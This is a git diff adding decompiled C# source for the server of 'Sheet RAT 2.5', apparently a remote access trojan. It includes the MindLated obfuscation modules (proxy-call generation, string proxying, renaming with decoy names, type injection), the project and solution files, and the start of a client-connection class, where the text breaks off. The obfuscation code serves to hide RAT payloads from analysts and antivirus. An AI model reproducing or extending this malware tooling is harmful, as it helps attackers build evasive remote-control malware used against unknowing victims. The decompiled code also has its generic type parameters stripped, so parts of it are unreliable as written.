MethodDefUser methodDefUser = new MethodDefUser((UTF8String) RenamerPhase.GenerateString(RenamerPhase.RenameMode.Key), MethodSig.CreateStatic((TypeSig) module.CorLibTypes.Double), implFlags, flags); + module.GlobalType.Methods.Add((MethodDef) methodDefUser); + methodDefUser.Body = new CilBody(); + methodDefUser.Body.Variables.Add(new Local((TypeSig) module.CorLibTypes.Double)); + methodDefUser.Body.Instructions.Add(Instruction.Create(OpCodes.Ldc_R4, (float) method.Body.Instructions[index].Operand)); + methodDefUser.Body.Instructions.Add(Instruction.Create(OpCodes.Ret)); + instructions[index].OpCode = OpCodes.Call; + instructions[index].Operand = (object) methodDefUser; + } + } + } + } + } + } + } +} +} diff --git a/Server/MindLated/Protection/Proxy/ProxyMeth.cs b/Server/MindLated/Protection/Proxy/ProxyMeth.cs new file mode 100644 index 0000000..cb79ee7 --- /dev/null +++ b/Server/MindLated/Protection/Proxy/ProxyMeth.cs @@ -0,0 +1,152 @@ +// Decompiled with JetBrains decompiler +// Type: MindLated.Protection.Proxy.ProxyMeth +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using dnlib.DotNet; +using dnlib.DotNet.Emit; +using System; +using System.Windows.Forms; +using System.Collections.Generic; +using System.Linq; + +//#nullable disable +namespace MindLated.Protection.Proxy { + +public static class ProxyMeth +{ + public static Random rand = new Random(); + public static List MemberRefList = new List(); + + public static void ScanMemberRef(ModuleDef module) + { + foreach (TypeDef type in (IEnumerable) module.Types) + { + foreach (MethodDef method in (IEnumerable) type.Methods) + { + if (method.HasBody && method.Body.HasInstructions) + { + for (int index = 0; index < method.Body.Instructions.Count - 1; ++index) + { + if (method.Body.Instructions[index].OpCode == OpCodes.Call) + { + try + { + MemberRef operand = (MemberRef) method.Body.Instructions[index].Operand; + if (!operand.HasThis) + ProxyMeth.MemberRefList.Add(operand); + } + catch + { + } + } + } + } + } + } + } + + public static MethodDef GenerateSwitch(MemberRef original, ModuleDef md) + { + try + { + List list = original.MethodSig.Params.ToList(); + list.Add((TypeSig) md.CorLibTypes.Int32); + MethodImplAttributes implFlags = MethodImplAttributes.IL; + MethodAttributes flags = MethodAttributes.Public | MethodAttributes.Static | MethodAttributes.HideBySig; + MethodDefUser methodDefUser = new MethodDefUser((UTF8String) string.Format("ProxyMeth{0}", ProxyMeth.rand.Next(0, int.MaxValue)), MethodSig.CreateStatic(original.MethodSig.RetType, list.ToArray()), implFlags, flags); + methodDefUser.Body = new CilBody(); + MethodDef methodDef = (MethodDef) methodDefUser; + methodDef.Body.Variables.Add(new Local((TypeSig) md.CorLibTypes.Int32)); + methodDef.Body.Variables.Add(new Local((TypeSig) md.CorLibTypes.Int32)); + methodDef.Body.Instructions.Add(Instruction.Create(OpCodes.Ldarg_0)); + List instructionList = new List(); + Instruction instruction1 = new Instruction(OpCodes.Switch); + methodDef.Body.Instructions.Add(instruction1); + Instruction instruction2 = new Instruction(OpCodes.Br_S); + methodDef.Body.Instructions.Add(instruction2); + for (int index1 = 0; index1 < 5; ++index1) + { + for (int index2 = 0; index2 <= original.MethodSig.Params.Count - 1; ++index2) + { + methodDef.Body.Instructions.Add(Instruction.Create(OpCodes.Ldarg, methodDef.Parameters[index2])); + if (index2 == 0) + instructionList.Add(Instruction.Create(OpCodes.Ldarg, methodDef.Parameters[index2])); + } + Instruction instruction3 = Instruction.Create(OpCodes.Ldc_I4, index1); + methodDef.Body.Instructions.Add(instruction3); + methodDef.Body.Instructions.Add(Instruction.Create(OpCodes.Ret)); + } + Instruction instruction4 = Instruction.Create(OpCodes.Ldnull); + methodDef.Body.Instructions.Add(instruction4); + methodDef.Body.Instructions.Add(Instruction.Create(OpCodes.Ret)); + instruction2.Operand = (object) instruction4; + instruction1.Operand = (object) instructionList; + return methodDef; + } + catch + { + return (MethodDef) null; + } + } + + public static void Execute(ModuleDef module) + { + ProxyMeth.ScanMemberRef(module); + foreach (TypeDef type in module.GetTypes()) + { + if (!type.IsGlobalModuleType) + { + foreach (MethodDef methodDef1 in type.Methods.ToArray()) + { + if (methodDef1.HasBody && !methodDef1.Name.Contains(nameof (ProxyMeth))) + { + IList instructions = methodDef1.Body.Instructions; + for (int index1 = 0; index1 < instructions.Count; ++index1) + { + if (methodDef1.Body.Instructions[index1].OpCode == OpCodes.Call) + { + try + { + MemberRef original = (MemberRef) methodDef1.Body.Instructions[index1].Operand; + if (!original.HasThis) + { + MethodDef methodDef2 = ProxyMeth.GenerateSwitch(original, module); + methodDef1.DeclaringType.Methods.Add(methodDef2); + instructions[index1].OpCode = OpCodes.Call; + instructions[index1].Operand = (object) methodDef2; + int num = ProxyMeth.rand.Next(0, 5); + for (int index2 = 0; index2 < methodDef2.Body.Instructions.Count - 1; ++index2) + { + if (methodDef2.Body.Instructions[index2].OpCode == OpCodes.Ldc_I4) + { + if (string.Compare(methodDef2.Body.Instructions[index2].Operand.ToString(), num.ToString(), StringComparison.Ordinal) != 0) + { + methodDef2.Body.Instructions[index2].OpCode = OpCodes.Call; + methodDef2.Body.Instructions[index2].Operand = (object) ProxyMeth.MemberRefList.Where((Func) (m => m.MethodSig.Params.Count == original.MethodSig.Params.Count)).ToList().Random(); + } + else + { + methodDef2.Body.Instructions[index2].OpCode = OpCodes.Call; + methodDef2.Body.Instructions[index2].Operand = (object) original; + } + } + } + methodDef1.Body.Instructions.Insert(index1, Instruction.CreateLdcI4(num)); + } + } + catch + { + } + } + } + } + } + } + } + } +} +} + + diff --git a/Server/MindLated/Protection/Proxy/ProxyString.cs b/Server/MindLated/Protection/Proxy/ProxyString.cs new file mode 100644 index 0000000..4abb7d0 --- /dev/null +++ b/Server/MindLated/Protection/Proxy/ProxyString.cs @@ -0,0 +1,49 @@ +// Decompiled with JetBrains decompiler +// Type: MindLated.Protection.Proxy.ProxyString +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using dnlib.DotNet; +using dnlib.DotNet.Emit; +using MindLated.Protection.Renamer; +using System.Collections.Generic; + +//#nullable disable +namespace MindLated.Protection.Proxy { + +internal class ProxyString +{ + public static void Execute(ModuleDef module) + { + foreach (TypeDef type in module.GetTypes()) + { + if (!type.IsGlobalModuleType) + { + foreach (MethodDef method in (IEnumerable) type.Methods) + { + if (method.HasBody) + { + foreach (Instruction instruction in (IEnumerable) method.Body.Instructions) + { + if (instruction.OpCode == OpCodes.Ldstr) + { + MethodImplAttributes implFlags = MethodImplAttributes.IL; + MethodAttributes flags = MethodAttributes.Public | MethodAttributes.Static | MethodAttributes.HideBySig; + MethodDefUser methodDefUser = new MethodDefUser((UTF8String) RenamerPhase.GenerateString(RenamerPhase.RenameMode.Key), MethodSig.CreateStatic((TypeSig) module.CorLibTypes.String), implFlags, flags); + module.GlobalType.Methods.Add((MethodDef) methodDefUser); + methodDefUser.Body = new CilBody(); + methodDefUser.Body.Variables.Add(new Local((TypeSig) module.CorLibTypes.String)); + methodDefUser.Body.Instructions.Add(Instruction.Create(OpCodes.Ldstr, instruction.Operand.ToString())); + methodDefUser.Body.Instructions.Add(Instruction.Create(OpCodes.Ret)); + instruction.OpCode = OpCodes.Call; + instruction.Operand = (object) methodDefUser; + } + } + } + } + } + } + } +} +} diff --git a/Server/MindLated/Protection/Renamer/RenamerPhase.cs b/Server/MindLated/Protection/Renamer/RenamerPhase.cs new file mode 100644 index 0000000..93f684b --- /dev/null +++ b/Server/MindLated/Protection/Renamer/RenamerPhase.cs @@ -0,0 +1,405 @@ +// Decompiled with JetBrains decompiler +// Type: MindLated.Protection.Renamer.RenamerPhase +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using dnlib.DotNet; +using System; +using System.Windows.Forms; +using System.Collections.Generic; +using System.Linq; + +//#nullable disable +namespace MindLated.Protection.Renamer { + +public class RenamerPhase +{ + private static readonly Dictionary TypeRename = new Dictionary(); + private static readonly List TypeNewName = new List(); + private static readonly Dictionary MethodRename = new Dictionary(); + private static readonly List MethodNewName = new List(); + private static readonly Dictionary FieldRename = new Dictionary(); + private static readonly List FieldNewName = new List(); + private static readonly bool IsObfuscationActive = true; + private static readonly Random Random = new Random(); + private static readonly string[] NormalNameStrings = new string[257] + { + "HasPermission", + "HasPermissions", + "GetPermissions", + "GetOpenWindows", + "EnumWindows", + "GetWindowText", + "GetWindowTextLength", + "IsWindowVisible", + "GetShellWindow", + "Awake", + "FixedUpdate", + "add_OnRockedInitialized", + "remove_OnRockedInitialized", + "Awake", + "Initialize", + "Translate", + "Reload", + "b__13_0", + "Initialize", + "FixedUpdate", + "Start", + "checkTimerRestart", + "QueueOnMainThread", + "QueueOnMainThread", + "RunAsync", + "RunAction", + "Awake", + "FixedUpdate", + "IsUri", + "GetTypes", + "GetTypesFromParentClass", + "GetTypesFromParentClass", + "GetTypesFromInterface", + "GetTypesFromInterface", + "get_Timeout", + "set_Timeout", + "GetWebRequest", + "get_SteamID64", + "set_SteamID64", + "get_SteamID", + "set_SteamID", + "get_OnlineState", + "set_OnlineState", + "get_StateMessage", + "set_StateMessage", + "get_PrivacyState", + "set_PrivacyState", + "get_VisibilityState", + "set_VisibilityState", + "get_AvatarIcon", + "set_AvatarIcon", + "get_AvatarMedium", + "set_AvatarMedium", + "get_AvatarFull", + "set_AvatarFull", + "get_IsVacBanned", + "set_IsVacBanned", + "get_TradeBanState", + "set_TradeBanState", + "get_IsLimitedAccount", + "set_IsLimitedAccount", + "get_CustomURL", + "set_CustomURL", + "get_MemberSince", + "set_MemberSince", + "get_HoursPlayedLastTwoWeeks", + "set_HoursPlayedLastTwoWeeks", + "get_Headline", + "set_Headline", + "get_Location", + "set_Location", + "get_RealName", + "set_RealName", + "get_Summary", + "set_Summary", + "get_MostPlayedGames", + "set_MostPlayedGames", + "get_Groups", + "set_Groups", + "Reload", + "ParseString", + "ParseDateTime", + "ParseDouble", + "ParseUInt16", + "ParseUInt32", + "ParseUInt64", + "ParseBool", + "ParseUri", + "IsValidCSteamID", + "LoadDefaults", + "LoadDefaults", + "get_Clients", + "Awake", + "handleConnection", + "FixedUpdate", + "Broadcast", + "OnDestroy", + "Read", + "Send", + "b__8_0", + "get_InstanceID", + "set_InstanceID", + "get_ConnectedTime", + "set_ConnectedTime", + "Send", + "Read", + "Close", + "get_Address", + "get_Instance", + "set_Instance", + "Save", + "Load", + "Unload", + "Load", + "Save", + "Load", + "get_Configuration", + "LoadPlugin", + "<.ctor>b__3_0", + "b__4_0", + "add_OnPluginUnloading", + "remove_OnPluginUnloading", + "add_OnPluginLoading", + "remove_OnPluginLoading", + "get_Translations", + "get_State", + "get_Assembly", + "set_Assembly", + "get_Directory", + "set_Directory", + "get_Name", + "set_Name", + "get_DefaultTranslations", + "IsDependencyLoaded", + "ExecuteDependencyCode", + "Translate", + "ReloadPlugin", + "LoadPlugin", + "UnloadPlugin", + "OnEnable", + "OnDisable", + "Load", + "Unload", + "TryAddComponent", + "TryRemoveComponent", + "add_OnPluginsLoaded", + "remove_OnPluginsLoaded", + "get_Plugins", + "GetPlugins", + "GetPlugin", + "GetPlugin", + "Awake", + "Start", + "GetMainTypeFromAssembly", + "loadPlugins", + "unloadPlugins", + "Reload", + "GetAssembliesFromDirectory", + "LoadAssembliesFromDirectory", + "b__12_0", + "GetGroupsByIds", + "GetParentGroups", + "HasPermission", + "GetGroup", + "RemovePlayerFromGroup", + "AddPlayerToGroup", + "DeleteGroup", + "SaveGroup", + "AddGroup", + "GetGroups", + "GetPermissions", + "GetPermissions", + "b__11_3", + "Start", + "FixedUpdate", + "Reload", + "HasPermission", + "GetGroups", + "GetPermissions", + "GetPermissions", + "AddPlayerToGroup", + "RemovePlayerFromGroup", + "GetGroup", + "SaveGroup", + "AddGroup", + "DeleteGroup", + "DeleteGroup", + "b__4_0", + "Enqueue", + "_Logger_DoWork", + "processLog", + "Log", + "Log", + "var_dump", + "LogWarning", + "LogError", + "LogError", + "Log", + "LogException", + "ProcessInternalLog", + "logRCON", + "writeToConsole", + "ProcessLog", + "ExternalLog", + "Invoke", + "_invoke", + "TryInvoke", + "get_Aliases", + "get_AllowedCaller", + "get_Help", + "get_Name", + "get_Permissions", + "get_Syntax", + "Execute", + "get_Aliases", + "get_AllowedCaller", + "get_Help", + "get_Name", + "get_Permissions", + "get_Syntax", + "Execute", + "get_Aliases", + "get_AllowedCaller", + "get_Help", + "get_Name", + "get_Permissions", + "get_Syntax", + "Execute", + "get_Name", + "set_Name", + "get_Name", + "set_Name", + "get_Name", + "get_Help", + "get_Syntax", + "get_AllowedCaller", + "get_Commands", + "set_Commands", + "add_OnExecuteCommand", + "remove_OnExecuteCommand", + "Reload", + "Awake", + "checkCommandMappings", + "checkDuplicateCommandMappings", + "Plugins_OnPluginsLoaded", + "GetCommand", + "GetCommand", + "getCommandIdentity", + "getCommandType", + "Register", + "Register", + "Register", + "DeregisterFromAssembly", + "GetCooldown", + "SetCooldown", + "Execute", + "RegisterFromAssembly" + }; + private const string Ascii = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; + private const string number = "1234567890"; + + public static void Execute(ModuleDefMD module, RenamerPhase.RenameMode renameMode) + { + if (RenamerPhase.IsObfuscationActive) + { + string str = RenamerPhase.GenerateString(RenamerPhase.RenameMode.Ascii); + foreach (TypeDef type in (IEnumerable) module.Types) + { + if (new Random().Next(0, 4) == 1) + str = RenamerPhase.GenerateString(RenamerPhase.RenameMode.Ascii); + bool flag1; + if (RenamerPhase.TypeRename.TryGetValue(type, out flag1)) + { + if (flag1) + RenamerPhase.InternalRename(type); + } + else + RenamerPhase.InternalRename(type); + type.Namespace = (UTF8String) str; + foreach (MethodDef method in (IEnumerable) type.Methods) + { + bool flag2; + if (RenamerPhase.MethodRename.TryGetValue(method, out flag2)) + { + if (flag2 && !method.IsConstructor && !method.IsSpecialName) + RenamerPhase.InternalRename(method); + } + else if (!method.IsConstructor && !method.IsSpecialName) + RenamerPhase.InternalRename(method); + } + RenamerPhase.MethodNewName.Clear(); + foreach (FieldDef field in (IEnumerable) type.Fields) + { + bool flag3; + if (RenamerPhase.FieldRename.TryGetValue(field, out flag3)) + { + if (flag3) + RenamerPhase.InternalRename(field); + } + else + RenamerPhase.InternalRename(field); + } + RenamerPhase.FieldNewName.Clear(); + } + } + else + { + foreach (KeyValuePair keyValuePair in RenamerPhase.TypeRename.Where>((Func, bool>) (typeItem => typeItem.Value))) + RenamerPhase.InternalRename(keyValuePair.Key); + foreach (KeyValuePair keyValuePair in RenamerPhase.MethodRename.Where>((Func, bool>) (methodItem => methodItem.Value))) + RenamerPhase.InternalRename(keyValuePair.Key); + foreach (KeyValuePair keyValuePair in RenamerPhase.FieldRename.Where>((Func, bool>) (fieldItem => fieldItem.Value))) + RenamerPhase.InternalRename(keyValuePair.Key); + } + } + + private static void InternalRename(TypeDef type) + { + string str = RenamerPhase.GenerateString(RenamerPhase.RenameMode.Ascii); + while (RenamerPhase.TypeNewName.Contains(str)) + str = RenamerPhase.GenerateString(RenamerPhase.RenameMode.Ascii); + RenamerPhase.TypeNewName.Add(str); + type.Name = (UTF8String) str; + } + + private static void InternalRename(MethodDef method) + { + string str = RenamerPhase.GenerateString(RenamerPhase.RenameMode.Ascii); + while (RenamerPhase.MethodNewName.Contains(str)) + str = RenamerPhase.GenerateString(RenamerPhase.RenameMode.Ascii); + RenamerPhase.MethodNewName.Add(str); + method.Name = (UTF8String) str; + } + + private static void InternalRename(FieldDef field) + { + string str = RenamerPhase.GenerateString(RenamerPhase.RenameMode.Ascii); + while (RenamerPhase.FieldNewName.Contains(str)) + str = RenamerPhase.GenerateString(RenamerPhase.RenameMode.Ascii); + RenamerPhase.FieldNewName.Add(str); + field.Name = (UTF8String) str; + } + + private static string RandomString(int length) + { + char ch = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"[RenamerPhase.Random.Next("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".Length)]; + char[] array = Enumerable.Repeat("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz", length - 1).Select((Func) (s => s[RenamerPhase.Random.Next(s.Length)])).ToArray(); + return ch.ToString() + new string(array); + } + + private static string GetRandomName() + { + return RenamerPhase.NormalNameStrings[RenamerPhase.Random.Next(RenamerPhase.NormalNameStrings.Length)]; + } + + public static string GenerateString(RenamerPhase.RenameMode mode) + { + switch (mode) + { + case RenamerPhase.RenameMode.Ascii: + return RenamerPhase.RandomString(RenamerPhase.Random.Next(8, 16 /*0x10*/)); + case RenamerPhase.RenameMode.Key: + return RenamerPhase.RandomString(16 /*0x10*/); + case RenamerPhase.RenameMode.Normal: + return RenamerPhase.GetRandomName(); + default: + throw new ArgumentOutOfRangeException(nameof (mode), (object) mode, (string) null); + } + } + + public enum RenameMode + { + Ascii, + Key, + Normal, + } +} +} diff --git a/Server/MindLated/Services/InjectHelper.cs b/Server/MindLated/Services/InjectHelper.cs new file mode 100644 index 0000000..05c6272 --- /dev/null +++ b/Server/MindLated/Services/InjectHelper.cs @@ -0,0 +1,219 @@ +// Decompiled with JetBrains decompiler +// Type: MindLated.Services.InjectHelper +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using dnlib.DotNet; +using dnlib.DotNet.Emit; +using dnlib.Utils; +using System; +using System.Windows.Forms; +using System.Collections.Generic; +using System.Linq; + +//#nullable disable +namespace MindLated.Services { + +public static class InjectHelper +{ + private static TypeDefUser Clone(TypeDef origin) + { + TypeDefUser typeDefUser1 = new TypeDefUser(origin.Namespace, origin.Name); + typeDefUser1.Attributes = origin.Attributes; + TypeDefUser typeDefUser2 = typeDefUser1; + if (origin.ClassLayout != null) + typeDefUser2.ClassLayout = (ClassLayout) new ClassLayoutUser(origin.ClassLayout.PackingSize, origin.ClassSize); + foreach (GenericParam genericParameter in (IEnumerable) origin.GenericParameters) + typeDefUser2.GenericParameters.Add((GenericParam) new GenericParamUser(genericParameter.Number, genericParameter.Flags, (UTF8String) "-")); + return typeDefUser2; + } + + private static MethodDefUser Clone(MethodDef origin) + { + MethodDefUser methodDefUser = new MethodDefUser(origin.Name, (MethodSig) null, origin.ImplAttributes, origin.Attributes); + foreach (GenericParam genericParameter in (IEnumerable) origin.GenericParameters) + methodDefUser.GenericParameters.Add((GenericParam) new GenericParamUser(genericParameter.Number, genericParameter.Flags, (UTF8String) "-")); + return methodDefUser; + } + + private static FieldDefUser Clone(FieldDef origin) + { + return new FieldDefUser(origin.Name, (FieldSig) null, origin.Attributes); + } + + private static TypeDef PopulateContext(TypeDef typeDef, InjectHelper.InjectContext ctx) + { + IDnlibDef dnlibDef; + TypeDef typeDef1; + if (!ctx.Mep.TryGetValue((IDnlibDef) typeDef, out dnlibDef)) + { + typeDef1 = (TypeDef) InjectHelper.Clone(typeDef); + ctx.Mep[(IDnlibDef) typeDef] = (IDnlibDef) typeDef1; + } + else + typeDef1 = (TypeDef) dnlibDef; + foreach (TypeDef nestedType in (IEnumerable) typeDef.NestedTypes) + typeDef1.NestedTypes.Add(InjectHelper.PopulateContext(nestedType, ctx)); + foreach (MethodDef method in (IEnumerable) typeDef.Methods) + typeDef1.Methods.Add((MethodDef) (ctx.Mep[(IDnlibDef) method] = (IDnlibDef) InjectHelper.Clone(method))); + foreach (FieldDef field in (IEnumerable) typeDef.Fields) + typeDef1.Fields.Add((FieldDef) (ctx.Mep[(IDnlibDef) field] = (IDnlibDef) InjectHelper.Clone(field))); + return typeDef1; + } + + private static void CopyTypeDef(TypeDef typeDef, InjectHelper.InjectContext ctx) + { + TypeDef typeDef1 = (TypeDef) ctx.Mep[(IDnlibDef) typeDef]; + typeDef1.BaseType = ctx.Importer.Import(typeDef.BaseType); + foreach (InterfaceImpl interfaceImpl in (IEnumerable) typeDef.Interfaces) + typeDef1.Interfaces.Add((InterfaceImpl) new InterfaceImplUser(ctx.Importer.Import(interfaceImpl.Interface))); + } + + private static void CopyMethodDef(MethodDef methodDef, InjectHelper.InjectContext ctx) + { + MethodDef methodDef1 = (MethodDef) ctx.Mep[(IDnlibDef) methodDef]; + methodDef1.Signature = ctx.Importer.Import(methodDef.Signature); + methodDef1.Parameters.UpdateParameterTypes(); + if (methodDef.ImplMap != null) + methodDef1.ImplMap = (ImplMap) new ImplMapUser((ModuleRef) new ModuleRefUser(ctx.TargetModule, methodDef.ImplMap.Module.Name), methodDef.ImplMap.Name, methodDef.ImplMap.Attributes); + foreach (CustomAttribute customAttribute in (LazyList) methodDef.CustomAttributes) + methodDef1.CustomAttributes.Add(new CustomAttribute((ICustomAttributeType) ctx.Importer.Import((IMethod) customAttribute.Constructor))); + if (!methodDef.HasBody) + return; + methodDef1.Body = new CilBody(methodDef.Body.InitLocals, (IList) new List(), (IList) new List(), (IList) new List()) + { + MaxStack = methodDef.Body.MaxStack + }; + Dictionary bodyMap = new Dictionary(); + foreach (Local variable in methodDef.Body.Variables) + { + Local local = new Local(ctx.Importer.Import(variable.Type)); + methodDef1.Body.Variables.Add(local); + local.Name = variable.Name; + local.Attributes = variable.Attributes; + bodyMap[(object) variable] = (object) local; + } + foreach (Instruction instruction1 in (IEnumerable) methodDef.Body.Instructions) + { + Instruction instruction2 = new Instruction(instruction1.OpCode, instruction1.Operand) + { + SequencePoint = instruction1.SequencePoint + }; + if (instruction2.Operand is IType) + { + instruction2.Operand = (object) ctx.Importer.Import((IType)instruction2.Operand); + } + else if (instruction2.Operand is IMethod) + { + instruction2.Operand = (object) ctx.Importer.Import((IMethod)instruction2.Operand); + } + else if (instruction2.Operand is IField) + { + instruction2.Operand = (object) ctx.Importer.Import((IField)instruction2.Operand); + } + methodDef1.Body.Instructions.Add(instruction2); + bodyMap[(object) instruction1] = (object) instruction2; + } + foreach (Instruction instruction3 in (IEnumerable) methodDef1.Body.Instructions) + { + if (instruction3.Operand != null && bodyMap.ContainsKey(instruction3.Operand)) + instruction3.Operand = bodyMap[instruction3.Operand]; + else if (instruction3.Operand is Instruction[] operand) + { + Instruction instruction4 = instruction3; + Func selector = (Func) (target => (Instruction) bodyMap[(object) target]); + Instruction[] array = ((IEnumerable) operand).Select(selector).ToArray(); + instruction4.Operand = (object) array; + } + } + foreach (ExceptionHandler exceptionHandler in (IEnumerable) methodDef.Body.ExceptionHandlers) + methodDef1.Body.ExceptionHandlers.Add(new ExceptionHandler(exceptionHandler.HandlerType) + { + CatchType = exceptionHandler.CatchType == null ? (ITypeDefOrRef) null : ctx.Importer.Import(exceptionHandler.CatchType), + TryStart = (Instruction) bodyMap[(object) exceptionHandler.TryStart], + TryEnd = (Instruction) bodyMap[(object) exceptionHandler.TryEnd], + HandlerStart = (Instruction) bodyMap[(object) exceptionHandler.HandlerStart], + HandlerEnd = (Instruction) bodyMap[(object) exceptionHandler.HandlerEnd], + FilterStart = exceptionHandler.FilterStart == null ? (Instruction) null : (Instruction) bodyMap[(object) exceptionHandler.FilterStart] + }); + methodDef1.Body.SimplifyMacros((IList) methodDef1.Parameters); + } + + private static void CopyFieldDef(FieldDef fieldDef, InjectHelper.InjectContext ctx) + { + ((FieldDef) ctx.Mep[(IDnlibDef) fieldDef]).Signature = ctx.Importer.Import(fieldDef.Signature); + } + + private static void Copy(TypeDef typeDef, InjectHelper.InjectContext ctx, bool copySelf) + { + if (copySelf) + InjectHelper.CopyTypeDef(typeDef, ctx); + foreach (TypeDef nestedType in (IEnumerable) typeDef.NestedTypes) + InjectHelper.Copy(nestedType, ctx, true); + foreach (MethodDef method in (IEnumerable) typeDef.Methods) + InjectHelper.CopyMethodDef(method, ctx); + foreach (FieldDef field in (IEnumerable) typeDef.Fields) + InjectHelper.CopyFieldDef(field, ctx); + } + + public static TypeDef Inject(TypeDef typeDef, ModuleDef target) + { + InjectHelper.InjectContext ctx = new InjectHelper.InjectContext(target); + InjectHelper.PopulateContext(typeDef, ctx); + InjectHelper.Copy(typeDef, ctx, true); + return (TypeDef) ctx.Mep[(IDnlibDef) typeDef]; + } + + public static MethodDef Inject(MethodDef methodDef, ModuleDef target) + { + InjectHelper.InjectContext ctx = new InjectHelper.InjectContext(target); + ctx.Mep[(IDnlibDef) methodDef] = (IDnlibDef) InjectHelper.Clone(methodDef); + InjectHelper.CopyMethodDef(methodDef, ctx); + return (MethodDef) ctx.Mep[(IDnlibDef) methodDef]; + } + + public static IEnumerable Inject(TypeDef typeDef, TypeDef newType, ModuleDef target) + { + InjectHelper.InjectContext ctx = new InjectHelper.InjectContext(target); + ctx.Mep[(IDnlibDef) typeDef] = (IDnlibDef) newType; + InjectHelper.PopulateContext(typeDef, ctx); + InjectHelper.Copy(typeDef, ctx, false); + return ctx.Mep.Values.Except((IEnumerable) new TypeDef[1] + { + newType + }); + } + + private class InjectContext : ImportMapper + { + public readonly Dictionary Mep = new Dictionary(); + public readonly ModuleDef TargetModule; + + public InjectContext(ModuleDef target) + { + this.TargetModule = target; + this.Importer = new Importer(target, ImporterOptions.TryToUseTypeDefs, new GenericParamContext(), (ImportMapper) this); + } + + public Importer Importer { get; } + + public override ITypeDefOrRef Map(ITypeDefOrRef typeDefOrRef) + { + return !(typeDefOrRef is TypeDef key) || !this.Mep.ContainsKey((IDnlibDef) key) ? (ITypeDefOrRef) null : (ITypeDefOrRef) this.Mep[(IDnlibDef) key]; + } + + public override IMethod Map(MethodDef methodDef) + { + return !this.Mep.ContainsKey((IDnlibDef) methodDef) ? (IMethod) null : (IMethod) this.Mep[(IDnlibDef) methodDef]; + } + + public override IField Map(FieldDef fieldDef) + { + return !this.Mep.ContainsKey((IDnlibDef) fieldDef) ? (IField) null : (IField) this.Mep[(IDnlibDef) fieldDef]; + } + } +} +} + + diff --git a/Server/Server.csproj b/Server/Server.csproj new file mode 100644 index 0000000..279ac34 --- /dev/null +++ b/Server/Server.csproj @@ -0,0 +1,326 @@ + + + + + Debug + AnyCPU + {01245AF5-2608-43B2-AE7A-BA4CE0C07D0E} + Exe + Server + v4.6.2 + 1.0.0.0 + 512 + + + AnyCPU + true + full + false + bin\Debug\ + DEBUG;TRACE + prompt + 4 + true + + + AnyCPU + pdbonly + true + bin\Release\ + TRACE + prompt + 4 + true + + + + lib\GMap.NET.Core.dll + + + lib\GMap.NET.WindowsForms.dll + + + lib\IconExtractor.dll + + + lib\Ionic.Zip.dll + + + lib\MetroFramework.dll + + + + lib\NAudio.dll + + + lib\Newtonsoft.Json.dll + + + + + + + lib\Vestris.ResourceLib.dll + + + lib\cGeoIp.dll + + + lib\dnlib.dll + + + lib\protobuf-net.dll + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Server/Server.pdb b/Server/Server.pdb new file mode 100644 index 0000000..3e8a5ed Binary files /dev/null and b/Server/Server.pdb differ diff --git a/Server/Server.sln b/Server/Server.sln new file mode 100644 index 0000000..8bb442e --- /dev/null +++ b/Server/Server.sln @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 11.00 +# Visual Studio 2010 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Server", "Server.csproj", "{01245AF5-2608-43B2-AE7A-BA4CE0C07D0E}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {01245AF5-2608-43B2-AE7A-BA4CE0C07D0E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {01245AF5-2608-43B2-AE7A-BA4CE0C07D0E}.Debug|Any CPU.Build.0 = Debug|Any CPU + {01245AF5-2608-43B2-AE7A-BA4CE0C07D0E}.Release|Any CPU.ActiveCfg = Release|Any CPU + {01245AF5-2608-43B2-AE7A-BA4CE0C07D0E}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/Server/Server/Connection/Clients.cs b/Server/Server/Connection/Clients.cs new file mode 100644 index 0000000..aede01b --- /dev/null +++ b/Server/Server/Connection/Clients.cs @@ -0,0 +1,348 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Connection.Clients +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Server.Helper; +using Server.Helper.Configs; +using Server.Message; +using System; +using System.Windows.Forms; +using System.Drawing; +using System.IO; +using System.Net.Sockets; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; + +//#nullable disable +namespace 